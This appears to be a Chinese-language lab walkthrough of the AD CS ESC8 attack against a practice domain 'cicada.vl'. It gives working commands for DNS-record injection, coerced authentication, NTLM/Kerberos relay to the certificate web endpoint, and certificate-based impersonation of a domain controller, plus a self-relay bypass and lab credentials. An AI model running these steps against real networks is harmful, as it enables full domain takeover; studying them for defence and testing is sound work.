ESC8

1. 利用

根据 @ly4k 在wiki中提到的信息得知要利用此漏洞需要满足下面的条件:

1.ADCS WEB服务需要满足以下条件:

  • 允许NTLM身份认证: 托管证书认证的web服务器支持NTLM身份认证(默认允许)
  • 未强制开启NTLM Relay中继保护:如扩展身份验证保护 (EPA) 也叫通道绑定

2.利用步骤:

  • 强制身份验证: 强制特权帐户使用 NTLM 对被控制的机器进行身份验证(常用域控制器计算机帐户进行强制认证)
  • 设置 NTLM 中继: 使用 NTLM 中继工具(例如 Certipy 的 relay 命令),监听传入的 NTLM 身份验证。
  • 中继身份验证: Certipy 捕获此传入的 NTLM 身份验证,并转发(中继)到 AD CS 的HTTP Web 注册端点(例如, https://<ca_server>/certsrv/certfnsh.asp )
  • 模拟并请求证书: AD CS Web 服务从中继的特权帐户接收 NTLM 身份验证后,会以该特权帐户的身份处理来自Certipy 的后续注册请求。然后使用Certipy 请求证书
  • 使用证书进行特权访问: CA颁发证书,Certipy 作为中介机构接收此证书。然后使用此证书和 certipy auth 通过 Kerberos PKINIT 冒充特权帐户进行身份验证

1.1. Linux

bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.86

certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController

nxc smb DC-JPQ225.cicada.vl -k --use-kcache -M coerce_plus -o L=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA  M=PrinterBug

certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.200.138

1.2. Winodws

windows上搭配RemoteKrbRelay 进行Kerberos relay ,但需要注意自中继防护

#kerberos中继获取域控证书
RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
#将base64格式的证书转换为文件
echo -ne "MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqhkiG9w0B..." | base64 -d > cert.p12
#使用证书进行认证
certipy auth -pfx cert.p12 -dc-ip 10.129.200.138 -domain cicada.vl

1.3. 自中继防护

由于windows存在自中继防护机制(Self-Relay Mitigations),使得我们无法在同一台机器上完成此操作

ESC8 与 Kerberos 自中继绕过

1. NTLM 自中继防护 (Self-Relay Mitigation)
在典型的 ESC8 攻击中,若 域控 (DC)证书注册 Web 服务 (AD CS Web Enrollment) 运行在同一台机器上,攻击流程会触发“自中继”:

  • 诱导机器 A(DC)向攻击者发起认证。
  • 攻击者将凭据转发回机器 A 自身的 Web 接口。
    由于微软针对 NTLM 协议引入了自中继防护机制(如 MS08-068),系统会识别并拦截这种同机认证环路,导致中继失败。

2. 解决方案:Kerberos Relay (ESC8 进阶)
近期研究显示,通过 Kerberos 协议 进行中继可以绕过针对 NTLM 的自中继限制。

  • 工具: RemoteKrbRelay (由 Cicada8 Research 开发)。它能够中继 Kerberos 认证(如通过 RPCSS)到 Web 接口。
  • 前提条件: 该工具需在 Windows 环境下运行,并要求拥有一个合法的域机器/用户上下文。

3. 利用策略:
由于域环境通常允许普通用户将机器加入域(MachineAccountQuota 默认为 10),攻击者可以:

  1. 使用获取到的域用户凭据(如 rosie.powell),将自己的 Windows 虚拟机加入目标域。
  2. 在该虚拟机上登录域账号,运行 RemoteKrbRelay
  3. 诱导 DC 发起认证,通过Kerberos relay 获取 DC 的证书(.pfx/PKCS12),从而实现权限提升。